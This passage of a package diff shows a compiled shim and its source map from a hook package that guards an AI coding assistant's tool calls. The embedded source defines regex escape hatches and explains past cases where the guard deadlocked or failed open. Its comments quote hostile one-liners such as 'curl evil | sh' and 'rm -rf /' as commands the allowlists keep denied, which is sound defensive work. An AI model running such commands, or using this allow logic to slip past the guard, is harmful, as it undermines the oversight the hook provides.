|
+
}
|
|
539
|
+
catch (err) {
|
|
540
|
+
const error = (0, to_error_1.toError)(err);
|
|
541
|
+
void error; // best-effort: no readable version → shimStaleDenyReason prints no note
|
|
542
|
+
return '';
|
|
543
|
+
}
|
|
544
|
+
}
|
|
484
545
|
//# sourceMappingURL=shim.js.map
|
package/src/bin/shim.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"shim.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim.ts"],"names":[],"mappings":"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","sourcesContent":["import * as fs from 'fs';\nimport * as path from 'path';\n\nimport { SyncFlowGuidance } from '@webpieces/rules-config';\n\n// ---------------------------------------------------------------------------\n// The single checked-in shim (.claude/webpieces/ai-hook.sh). Both project hooks point at it, passing\n// their bin name as the first arg. settings.json points here (not at the bare bin) so a missing bin\n// (fresh clone, package removed) yields a friendly message instead of the raw `sh: No such file or\n// directory` on every Write/Edit/Bash tool call. `.claude` is committed, so the shim survives even\n// when node_modules does not.\n//\n// This module is the SINGLE SOURCE OF TRUTH for the shim body + the installer allowlist. The\n// installer (setup.ts) renders it on install; the running guards binary re-renders and self-heals it\n// (healShim) so the committed .sh can never go stale — no human ever hand-edits it.\n// ---------------------------------------------------------------------------\nexport const SHIM_MARKER = '.claude/webpieces/ai-hook.sh';\n\n// WHICH webpieces produced the shim in front of you, stamped into line 2 of the file itself.\n//\n// Every stall we have debugged this week started with the same unanswerable question: the committed\n// .claude/webpieces/ai-hook.sh is the file that DECIDES (it runs before the bin, and its logic is\n// whatever version last wrote it), but nothing in it said which release that was. So \"is this repo's\n// guard old enough to lack the cure?\" could only be answered by diffing bytes against a tarball —\n// which is exactly what took a live debugging session to do.\n//\n// scripts/set-version.sh rewrites this token in the PUBLISHED artifacts (dist templates/ai-hook.sh AND\n// the compiled shim.js that renderShim() lives in) to \"<version> (<git sha>)\". Both are rewritten\n// together on purpose: the self-guard compares the committed shim against templates/ai-hook.sh with\n// cmp, so if only one carried the stamp EVERY repo would fail-close permanently on a phantom edit.\n// In the source tree the token stays unreplaced — a shim reading REPLACEME_GIT_HASH_VERSION was\n// rendered from a source checkout, not an installed release, and that is worth knowing too.\nexport const SHIM_VERSION_STAMP = 'REPLACEME_GIT_HASH_VERSION';\n\nexport function shimPath(projectRoot: string): string {\n return path.join(projectRoot, '.claude', 'webpieces', 'ai-hook.sh');\n}\n\n// The OUTPUT-CAPTURE TAIL every escape hatch below tolerates — the 2026-07-21 deadlock report, part 2.\n// Every allowlist was anchored to a BARE command, but the way an AI assistant actually spells a\n// diagnostic command is `<cmd> 2>&1 | tail -20` (it trims the output it has to read back). The audit\n// log proves it: `.webpieces/logs/ai-hook-shim.log` has `pnpm install 2>&1 | tail -15` logged as\n// DENY-STALE seconds away from a bare `pnpm install` logged as ALLOW-INSTALL — the same cure, denied\n// for its redirection. A cure that is denied when spelled the natural way reads to the assistant as\n// \"the guard blocks its own fix\", which is exactly the conclusion it drew before handing the fix back\n// to the human.\n//\n// So each hatch accepts an OPTIONAL trailing stderr redirect (`2>&1` to fold stderr in, or `2>/dev/null`\n// to drop it — I hit the missing `2>/dev/null` case myself within the hour, running `pnpm install\n// 2>/dev/null | tail -2` against a drift block) and an OPTIONAL pipe into `tail`/`head` carrying at\n// most a line-count flag (`-20`, `-n 20`). Nothing else: the pipe target is one of two literal,\n// read-only pager words and its only argument is digits, so `| sh`, `| curl …`, `| tee /etc/x` and\n// every other operator stay DENIED. Spliced in place of each pattern's old `[[:space:]]*$` tail, so the\n// anchoring at both ends is unchanged. Keep in sync with CAPTURE_TAIL_JS_SRC (locked by a unit test).\nexport const CAPTURE_TAIL_ERE =\n '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';\n\n// JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CAPTURE_TAIL_JS_SRC =\n '(\\\\s+2>(&1|\\\\/dev\\\\/null))?(\\\\s*\\\\|\\\\s*(tail|head)(\\\\s+-(n\\\\s+)?[0-9]+)?)?\\\\s*$';\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// No `cd` prefix on purpose: the root package.json IS the install target in this nx monorepo and\n// Claude Code starts at the repo root, so a bare `pnpm install` always works — no `cd` is ever needed,\n// and allowing one would only widen the attack surface of a fail-CLOSED escape hatch.\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nexport const INSTALLER_ALLOW_ERE =\n '^(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*' + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nexport const INSTALLER_ALLOW_JS =\n new RegExp('^(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*' + CAPTURE_TAIL_JS_SRC);\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nexport const RECOVERY_ALLOW_ERE =\n '^rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?' + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nexport const RECOVERY_ALLOW_JS =\n new RegExp('^rm\\\\s+-rf\\\\s+(\\\\.\\\\/)?node_modules\\\\/?(\\\\s*&&\\\\s*(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?' + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// Git SYNC commands, allowed ONLY on the version-DRIFT path (never for a missing/broken bin, which no\n// amount of git can fix). This closes a real deadlock, hit 2026-07-17:\n//\n// The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER\n// @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a\n// plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)\n// that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.\n//\n// In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES\n// node_modules to the stale pin. The real cure is `git pull` — which the guard denied, because the\n// allowlist only ever contained the installer. So the assistant was told to run the one command that\n// made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.\n//\n// Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a\n// bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.\n// `git pull; curl evil | sh` still FAILS CLOSED. Deliberately NOT `git checkout`: switching branches is\n// what CAUSES this drift, and a fail-closed escape hatch should only contain cures.\n// Keep in sync with SYNC_ALLOW_JS below (locked by a unit test).\nexport const SYNC_ALLOW_ERE =\n '^git[[:space:]]+(pull|fetch|merge)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*' + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of SYNC_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nexport const SYNC_ALLOW_JS =\n new RegExp('^git\\\\s+(pull|fetch|merge)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*' + CAPTURE_TAIL_JS_SRC);\n\n// The CURE for the committed-shim self-guard (below): regenerate .claude/webpieces/ai-hook.sh from the\n// installed template. Allowed on every fail-closed path — like the installer, it is a webpieces-owned,\n// no-network local action whose whole job is to re-arm the guard, so denying it would deadlock the\n// assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under\n// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.\n// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).\nexport const UPGRADE_SHIM_ALLOW_ERE =\n '^(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim' + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const UPGRADE_SHIM_ALLOW_JS =\n new RegExp('^(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-upgrade-shim' + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.\nexport const UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';\n\n// The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):\n// the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in\n// @webpieces/ai-hook-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the\n// repos that can hit this, since node_modules is what the shim compares itself against — got\n// \"command not found\" and was left with a hard block and no working cure. In the reporter's words, the\n// message gave \"ZERO information\" on how to actually fix it.\n//\n// A plain `cp` of the installed template over the committed shim has none of that version coupling:\n// templates/ai-hook.sh ships in EVERY release, it is the exact byte-for-byte artifact the self-guard\n// compares against (`cmp -s \"$0\" \"$WP_TEMPLATE\"`), and cp onto an existing file keeps the destination's\n// mode, so the shim stays executable with no chmod. It cures the block on any version, old or new —\n// which is why the deny now leads with it and only mentions the bin as the newer equivalent.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are\n// literal webpieces-owned paths — so no other file can be read or written and no operator can ride\n// along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).\nexport const RESTORE_SHIM_ALLOW_ERE =\n '^cp[[:space:]]+(\\\\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\\\\.sh[[:space:]]+(\\\\./)?\\\\.claude/webpieces/ai-hook\\\\.sh' + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const RESTORE_SHIM_ALLOW_JS =\n new RegExp('^cp\\\\s+(\\\\.\\\\/)?node_modules\\\\/@webpieces\\\\/ai-hook-rules\\\\/templates\\\\/ai-hook\\\\.sh\\\\s+(\\\\.\\\\/)?\\\\.claude\\\\/webpieces\\\\/ai-hook\\\\.sh' + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.\nexport const RESTORE_SHIM_CMD =\n 'cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';\n\n// Normal template literal (not String.raw): it carries #235's shell escapes verbatim (\\${BIN_NAME},\n// \\$REASON, \\\\n for the deny JSON) AND my sed backslashes (doubled: \\\\(, \\\\), \\\\1, [^\"\\\\\\\\]). The\n// grep pattern is interpolated from INSTALLER_ALLOW_ERE (its value has no backslashes).\n// Shell fragment: the version-drift guard (see its own block comment). Extracted to a module const so\n// renderShim() stays within the method-line budget; it is spliced back in verbatim, byte-for-byte.\nconst VERSION_DRIFT_GUARD_SH = `# --- webpieces version-drift guard (pure sh — runs even when the installed guard bin is stale) -----\n# The committed shim is version-agnostic, so it keeps working right after a git pull, BEFORE the\n# matching pnpm install. That is exactly when node_modules can be STALE: an OLDER @webpieces than\n# package.json now pins, whose outdated validator rejects the NEWER webpieces.config.json with baffling\n# \"unknown rule\" errors. Detect that drift HERE (before exec'ing the possibly-stale bin): compare every\n# EXACT-pinned @webpieces/* version in the root package.json against the version actually installed in\n# node_modules; the first mismatch wins. Range specs (^ ~ workspace:*) are skipped, so they never\n# false-positive; best-effort — a version we cannot read is skipped. On drift we fall through to the\n# SAME fail-closed path as a missing bin (allow only pnpm install, deny the rest).\n#\n# pnpm CATALOGS: a dep pinned via \"catalog:\" / \"catalog:<name>\" carries NO digit-version in package.json,\n# so the old scraper matched nothing and the guard was BLIND to it — DRIFT_PKG stayed empty and the\n# stale bin ran (the 2026-07 \"0.3.369 vs 0.4.405\" incident). Resolve those specs through the top-level\n# \\`catalogs:\\` block of pnpm-lock.yaml (catalog -> pkg -> resolved version) before comparing.\nDRIFT_PKG=\"\"\nDRIFT_DECLARED=\"\"\nDRIFT_INSTALLED=\"\"\nif [ -f \"$ROOT/package.json\" ]; then\n # Only when a @webpieces dep actually uses a \"catalog:\" spec do we scan the (possibly huge) lockfile —\n # a cheap grep keeps the common, catalog-free repo from paying that cost on every tool call. One awk\n # pass over pnpm-lock.yaml emits \"<catalog> <@webpieces/pkg> <version>\" lines for the sh lookup below;\n # \\\\047 is a single quote (so this awk program carries none and stays safely single-quotable in sh).\n WP_CATALOGS=\"\"\n if grep -Eq '\"@webpieces/[^\"]*\"[[:space:]]*:[[:space:]]*\"catalog:' \"$ROOT/package.json\" 2>/dev/null && [ -f \"$ROOT/pnpm-lock.yaml\" ]; then\n WP_CATALOGS=\"$(awk '\n { n=0; while (substr($0,n+1,1)==\" \") n++; c=substr($0,n+1) }\n c==\"\" { next }\n n==0 { incat=(c ~ /^catalogs: *$/)?1:0; cat=\"\"; pkg=\"\"; next }\n incat==0 { next }\n n==2 { cat=c; sub(/:.*/,\"\",cat); pkg=\"\"; next }\n n==4 { pkg=c; sub(/: *$/,\"\",pkg); gsub(/[\"\\\\047]/,\"\",pkg); next }\n n==6 && substr(pkg,1,11)==\"@webpieces/\" && c ~ /^version:/ {\n v=c; sub(/^version: */,\"\",v); gsub(/[\"\\\\047 ]/,\"\",v);\n if (cat!=\"\" && v!=\"\") print cat \" \" pkg \" \" v\n }\n ' \"$ROOT/pnpm-lock.yaml\" 2>/dev/null)\"\n fi\n while IFS=' ' read -r WP_NAME WP_DECL; do\n [ -n \"$WP_NAME\" ] || continue\n # Resolve the declared spec to an EXACT version, or skip it: ranges (^ ~ workspace:*) never drift,\n # and a catalog spec we cannot resolve is best-effort skipped rather than guessed.\n case \"$WP_DECL\" in\n catalog:*)\n WP_CAT=\"\\${WP_DECL#catalog:}\"; [ -n \"$WP_CAT\" ] || WP_CAT=\"default\"\n WP_DECL=\"$(printf '%s\\\\n' \"$WP_CATALOGS\" | awk -v c=\"$WP_CAT\" -v p=\"@webpieces/$WP_NAME\" '$1==c && $2==p {print $3; exit}')\"\n [ -n \"$WP_DECL\" ] || continue ;;\n [0-9]*) : ;;\n *) continue ;;\n esac\n WP_MANIFEST=\"$ROOT/node_modules/@webpieces/$WP_NAME/package.json\"\n [ -f \"$WP_MANIFEST\" ] || continue\n WP_INST=\"$(sed -n 's/.*\"version\"[[:space:]]*:[[:space:]]*\"\\\\([^\"]*\\\\)\".*/\\\\1/p' \"$WP_MANIFEST\" | head -n1)\"\n [ -n \"$WP_INST\" ] || continue\n if [ \"$WP_DECL\" != \"$WP_INST\" ]; then\n DRIFT_PKG=\"@webpieces/$WP_NAME\"\n DRIFT_DECLARED=\"$WP_DECL\"\n DRIFT_INSTALLED=\"$WP_INST\"\n break\n fi\n done <<WPEOF\n$(sed -n 's/.*\"@webpieces\\\\/\\\\([A-Za-z0-9._-]*\\\\)\"[[:space:]]*:[[:space:]]*\"\\\\([^\"]*\\\\)\".*/\\\\1 \\\\2/p' \"$ROOT/package.json\")\nWPEOF\nfi\n# --- webpieces committed-shim self-guard (this file is webpieces-managed; a revert/edit is a mistake) --\n# THIS file (.claude/webpieces/ai-hook.sh) is GENERATED from the installed @webpieces/ai-hook-rules\n# template and committed only so the hook has a stable entry point when node_modules is absent. If it no\n# longer matches the installed template, someone reverted or hand-edited it (the exact mistake that hides\n# the fix behind a stale escape hatch) — its fail-closed logic can no longer be trusted, so we fail closed\n# and make the cure explicit rather than silently running possibly-stale guard logic. Best-effort: only\n# when the template is actually present (skip on a fresh clone / global install), and only when there is\n# NO version drift (that has its own, more precise message; comparing bytes across versions is just noise).\n#\n# SHIM_TPL_VER is the version of @webpieces/ai-hook-rules the template came from. It goes in the deny\n# text so the reader knows WHICH version's shim the cure installs — without it the message named a file\n# and a bin but never the thing being restored, which is what made it unactionable.\nSHIM_STALE=\"\"\nSHIM_TPL_VER=\"\"\nWP_TEMPLATE=\"$ROOT/node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh\"\nif [ -z \"$DRIFT_PKG\" ] && [ -f \"$WP_TEMPLATE\" ] && ! cmp -s \"$0\" \"$WP_TEMPLATE\"; then\n SHIM_STALE=1\n SHIM_TPL_VER=\"$(sed -n 's/.*\"version\"[[:space:]]*:[[:space:]]*\"\\\\([^\"]*\\\\)\".*/\\\\1/p' \"$ROOT/node_modules/@webpieces/ai-hook-rules/package.json\" 2>/dev/null | head -n1)\"\nfi`;\n\n// Shell fragment: run the installed guard bin and INSPECT its outcome, instead of exec'ing it.\n//\n// THE BUG THIS FIXES (guards silently fail-OPEN): the shim used to `exec \"$BIN\"`. exec REPLACES this\n// shim process, so once the bin was executable the shim was GONE and could no longer make a decision.\n// That is fine when the bin runs — but the bin can be INSTALLED YET BROKEN: a corrupt/partially-written\n// node_modules makes node die at require() time with MODULE_NOT_FOUND, exiting 1. And in the PreToolUse\n// protocol ONLY exit 2 blocks: any other non-zero is a NON-BLOCKING error, so Claude Code prints\n// \"Failed with non-blocking status code\" and RUNS THE TOOL CALL ANYWAY — the guard is silently skipped.\n// Result: every Write/Edit/Bash went UNGUARDED, for as long as node_modules stayed corrupt. The shim\n// handled \"bin missing\" and \"bin stale\", but never \"bin present and CRASHES\" — the third failure mode.\n//\n// So: do not exec. Run the bin with the payload on stdin and branch on its exit code.\n// rc 0 | 2 → a REAL decision (allow / block). Relay stdout, stderr and the code byte-faithfully.\n// anything else → the guard CRASHED. Fall through to the fail-CLOSED path (BROKEN_BIN=1).\n// stdout/stderr go through temp FILES, not $(command substitution), so the bin's bytes reach Claude\n// Code exactly as written — command substitution strips trailing newlines and would corrupt the\n// decision JSON. Reading the payload up-front ($PAYLOAD) is what replaces exec's stdin passthrough.\nconst RUN_BIN_SH = `if [ -x \"\\$BIN\" ] && [ -z \"\\$DRIFT_PKG\" ] && [ -z \"\\$SHIM_STALE\" ]; then\n OUT_FILE=\"\\${TMPDIR:-/tmp}/wp-ai-hook-out.\\$\\$\"\n 